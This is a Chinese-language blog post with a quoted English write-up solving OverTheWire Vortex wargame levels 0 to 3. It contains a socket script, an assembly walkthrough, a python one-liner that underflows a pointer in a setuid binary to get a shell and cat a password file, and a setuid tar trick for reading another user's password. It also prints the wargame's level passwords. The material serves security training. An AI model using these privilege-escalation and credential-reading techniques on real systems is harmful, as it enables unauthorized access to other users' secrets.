【overthewire】Vortex

 Level 0 → Level 1

原題看這裏:!@#¥%……&*

大概意思是讓你鏈接vortex.labs.overthewire.org的5842端口,會給你4個 unsigned integers,計算出他們的結果,輸入,然後會返回給你一個用戶名和密碼,這個用戶名和密碼可以用來ssh登陸到vortex.labs.overthewire.org。

import struct
import socket

def unpk(x):
    return struct.unpack('<I', x)

def pk(x):
    return struct.pack('<I', x)

host = 'vortex.labs.overthewire.org'
port = 5842

hr = socket.socket()
hr.connect((host, port))

sum = 0
for i in range(4):
    sum += unpk(hr.recv(4))[0]
    
hr.send(str(pk(sum)))
print hr.recv(1024)
hr.close()


結果是:

>>> 
Username: vortex1 Password: Gq#qu3bF3
>>> 


大端與小端:

大端:數爲\x12\x34\x56,內存中表示爲:add \x12 add+1 \34 add+2 \56

小端相反。

Python查看命令:

>>> import sys
>>> sys.byteorder

more 題解:

http://0xbadc0de.org/blog/2013/10/28/vortex-1-solution/


 Level 1 → Level 2

用上題得到的用戶名和密碼,用ssh連入,然後,看別人寫的報告吧,寫得很詳細,

This challenge requires you to analyze the code and environment of the vortex1 executable for vulnerabilities.  Our first step will be to login to the Vortex game server with the credentials obtained in the Vortex 0 solution

 

ssh [email protected]

 

Once logged in, we will examine the execution environment:

 

$ ls -la /etc/vortex_pass/vortex2
-r-------- 1 vortex2 vortex2 10 Jun  6 14:01 /etc/vortex_pass/vortex2
$ ls -la /games/vortex/vortex1
-r-sr-x--- 1 vortex2 vortex1 7426 Jun  6 14:01 /games/vortex/vortex1

 

Here we can see that the vortex2 password file is only readable by the vortex2 user.  It its 10 bytes long and thus not easily brute-forced.  What is very interesting however, is that the vortex1 executable is owned by the vortex2 user and has the setuid bit set.  The setuid bit on the file owner means that the vortex1 executable will actually run as the vortex2 user even if we are logged in as vortex1.  If we can find a way to get the vortex1 executable to execute arbitrary commands, perhaps we can read the password file.  Let’s take a look at the code for vortex1.

We are given the hint that we are looking for a specific value in ptr.  Indeed, if we examine the e() definition, we can see that if the high byte of  ptr contains 0xca, then an extra set of instructions are executed.  These instructions first set the user-id of vortex1 to the effective user-id of the process (which in this case is vortex2), then executes a shell (/bin/sh).  This is exactly where we want to end up because once we have a shell running as vortex2, we will be able to read its password.

 

So what does the rest of the program do, and how do we get there?  Starting inside main() we have 3 variables:

  • buf – a 512 byte array of char,
  • ptr – a pointer to the current location inside buf, initialized to point to location 256,
  • x – an integer value for holding user input from getchar()

 

Next, we have the user-input loop – a while loop reading single characters into x until EOF is detected.  Inside this loop, a switch statement gives three possible scenarios:

  • \n (a newline) – calls print() which, as name implies, prints the contents of buf,
  • \\ (a backslash) – decrements ptr,
  • default (any other character) – calls e(), then if ptr has not reached the end of buf, write x to the current location in buf and increment ptr.

 

Note that nowhere in this program does it validate a lower limit of ptr, only an upper.  Let’s examine the assembly dump of vortex1 to develop a strategy.

 

$ objdump -d --no-show-raw-insn /games/vortex/vortex1

push   %ebp
mov    %esp,%ebp
push   %esi
push   %ebx
and    $0xfffffff0,%esp
sub    $0x220,%esp
mov    %gs:0x14,%eax
mov    %eax,0x21c(%esp)
xor    %eax,%eax
lea    0x1c(%esp),%eax		# Addr of buf
add    $0x100,%eax
mov    %eax,0x14(%esp)		# Addr of ptr
jmp    8048643 <main+0xcc>
mov    0x18(%esp),%eax		# Addr of x
cmp    $0xa,%eax
je     80485b6 <main+0x3f>
cmp    $0x5c,%eax
je     80485cc <main+0x55>
jmp    80485d3 <main+0x5c>
movl   $0x200,0x4(%esp)
lea    0x1c(%esp),%eax
mov    %eax,(%esp)
call   8048524 <print>
jmp    8048643 <main+0xcc>
subl   $0x1,0x14(%esp)
jmp    8048643 <main+0xcc>
mov    0x14(%esp),%eax
and    $0xff000000,%eax
cmp    $0xca000000,%eax
jne    8048622 <main+0xab>
call   8048430 <geteuid@plt>
mov    %eax,%esi
call   8048430 <geteuid@plt>
mov    %eax,%ebx
call   8048430 <geteuid@plt>
mov    %esi,0x8(%esp)
mov    %ebx,0x4(%esp)
mov    %eax,(%esp)
call   80483e0 <setresuid@plt>
movl   $0x0,0x8(%esp)
movl   $0x804876a,0x4(%esp)
movl   $0x804876d,(%esp)
call   8048420 <execlp@plt>
lea    0x1c(%esp),%eax
add    $0x200,%eax
cmp    %eax,0x14(%esp)
ja     8048642 <main+0xcb>
mov    0x18(%esp),%eax
mov    %eax,%edx
mov    0x14(%esp),%eax
mov    %dl,(%eax)
addl   $0x1,0x14(%esp)
nop
call   8048400 <getchar@plt>
mov    %eax,0x18(%esp)
cmpl   $0xffffffff,0x18(%esp)
jne    80485a6 <main+0x2f>
movl   $0x8048775,(%esp)
call   8048440 <puts@plt>
mov    $0x0,%eax
mov    0x21c(%esp),%edx
xor    %gs:0x14,%edx
je     804867d <main+0x106>
call   8048410 <__stack_chk_fail@plt>
lea    -0x8(%ebp),%esp
pop    %ebx
pop    %esi
pop    %ebp
ret    
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

 

From the assembly listing, we can see that main() has a 544 byte stack – on 32 bit x86, this is calculated as:
(unsigned char buf[512])  +  (unsigned char *ptr)  +  (unsigned int)  =  Size
(        512              +          16            +        16     )  =  544

 

By examining the assembly listing, we realize that the variables are stored in a different order from how they appear in the source listing.  Specifically, in memory they are ordered: ptr, x, buf,  rather than the buf, ptr, x we would expect.  This seems to be a manual tweak specifically intended to illustrate this type of vulnerability.  Compiling vortex1.c on gcc-4.8.x and gcc-4.6.x both resulted in ptr appearing after buf in memory.

 

 

Since ptr is at a lower address than buf, we can simply fire ‘\’ characters at the program until ptr points to itself, write a 0xca character, get our vortex2 shell and call it a day.  Let’s calculate how many ‘\’ characters we’ll need:

 

Given:


ptr = buf + 256
+-----------+-----------+-------------------------------+
|    ptr    |     x     |             buf               |
|  4 bytes  |  4 bytes  |          512 bytes            |
+-----------+-----------+-------------------------------+

<-- Low Addr                                High Addr -->

 

We want to write 0xca to the high byte (little-endian) of ptr.

 

n = 256 + 4 + 1
n = 261

 

It’s rather slow and somewhat tricky to type 261 backslashes followed by the 0xca character, so we’ll use Python to do the heavy lifting for us:

 

 

$ python -c 'print "\\"*261+"\xca"*2+"\nwhoami\ncat /etc/vortex_pass/vortex2\n"' | /games/vortex/vortex1

 

What’s happening here?  In a nutshell:

  • Run python interpreter with the command ( -c ) specified inside the single-quotes,
    • print 261 backslashes (\\) to get ptr pointing at itself,
    • print two 0xca characters  (this should get us into the setresuid() part of e() ),
    • print a newline (\n) to execute the above two steps. This should result in /bin/sh being executed.
    • Run the commands:
      • whoami
      • cat /etc/vortex_pass/vortex2
  • Pipe all output into vortex1′s input.

 

Running the command results in a blank output!  This is not what we were expecting.  It does not even call the print() function. This is interesting because it suggests that the program has deviated outside its expected control loop.  After some investigation, it turns out that /bin/sh takes a little time to fire up and that our python script was sending everything before the vortex2 shell was even listening.  Perhaps if we add some padding between the 0xca’s and the whoami, things will work a little better.

 
$ python -c 'print "\\"*261+"\xca"*2+"0xbadc0de"*450+"\nwhoami\ncat /etc/vortex_pass/vortex2\n"' | /games/vortex/vortex1
sh: 1: e0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de
0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de
0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de0xbadc0de: not found
vortex2
XXXXXXXXX

 

Success!

 


那個‘\xca’寫一個也可以,比如這樣:

python -c 'print "\\"*261+"\xca"+"a"*4000+"\nwhoami\ncat /etc/vortex_pass/vortex2\n"' | /games/vortex/vortex1

結果:

sh: 1: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: not found
vortex2
23anbT\rE

Vortex Level 2 → Level 3


vortex2@melinda:2$ ls -la /games/vortex/vortex2
-r-sr-x--- 1 vortex3 vortex2 7162 Jun  6 14:01 /games/vortex/vortex2
vortex2@melinda:$ ls -la /etc/vortex_pass/vortex3
-r-------- 1 vortex3 vortex3 10 Jun 30 19:16 /etc/vortex_pass/vortex3

 

So it looks like the vortex2 executable is owned by the vortex3 user and has its setuid bit set on the permissions.  We can also see that the vortex3 password file is only visible to the vortex3 user.  Lucky for us that setuid bit is set – this means vortex2 will run with the effective permissions of the vortex3 user.


vortex2@melinda:~$ mkdir /tmp/XXXX
vortex2@melinda:~$ cd /tmp/XXXX
vortex2@melinda:/tmp/XXXX$ /games/vortex/vortex2 /etc/vortex_pass/vortex3 /etc/vortex_pass/vortex3 /etc/vortex_pass/vortex3
/bin/tar: Removing leading /' from member names
/bin/tar: Removing leading
/' from hard link targets
/bin/tar: UWVS\350i: Cannot stat: No such file or directory
/bin/tar: Exiting with failure status due to previous errors
vortex2@melinda:/tmp/XXXX$ tar xf '/tmp/ownership.$$.tar'
vortex2@melinda:/tmp/XXXX$ cat ./etc/vortex_pass/vortex3
XXXXXXXXX

 

The only thing to watch out for is that we enclose the path to our “special” tar file in single quotes, else the $$ will be substituted by the shell for its Process ID.



發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章